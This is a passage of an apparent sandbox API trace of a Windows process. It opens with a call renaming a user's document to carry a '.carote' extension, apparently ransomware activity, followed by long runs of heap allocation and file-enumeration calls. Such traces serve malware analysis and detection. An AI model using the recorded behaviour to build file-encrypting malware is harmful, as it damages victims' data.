HALPmcxz\\Documents\\zmTKLzB\\9jgmDCVjOmsoi8li3M.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmtklzb\\9jgmdcvjomsoi8li3m.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\9jgmDCVjOmsoi8li3M.odp.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\zmtklzb\\9jgmdcvjomsoi8li3m.odp.carote")) returned 1 [0112.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0112.800] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0112.800] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79ab798 | out: hHeap=0x5010000) returned 1 [0112.800] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb9e1f0, ftCreationTime.dwHighDateTime=0x1d4d56f, ftLastAccessTime.dwLowDateTime=0x14c8b8f0, ftLastAccessTime.dwHighDateTime=0x1d4d1bd, ftLastWriteTime.dwLowDateTime=0x14c8b8f0, ftLastWriteTime.dwHighDateTime=0x1d4d1bd, nFileSizeHigh=0x0, nFileSizeLow=0xc326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jgmDCVjOmsoi8li3M.odp", cAlternateFileName="9JGMDC~1.ODP")) returned 0 [0112.801] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a489c0 | out: hHeap=0x5010000) returned 1 [0112.801] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797c2b8 [0112.801] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.801] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.801] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.802] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.802] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.803] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.803] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.804] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.804] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.805] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.805] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.806] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.806] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.807] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.807] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.808] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.808] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 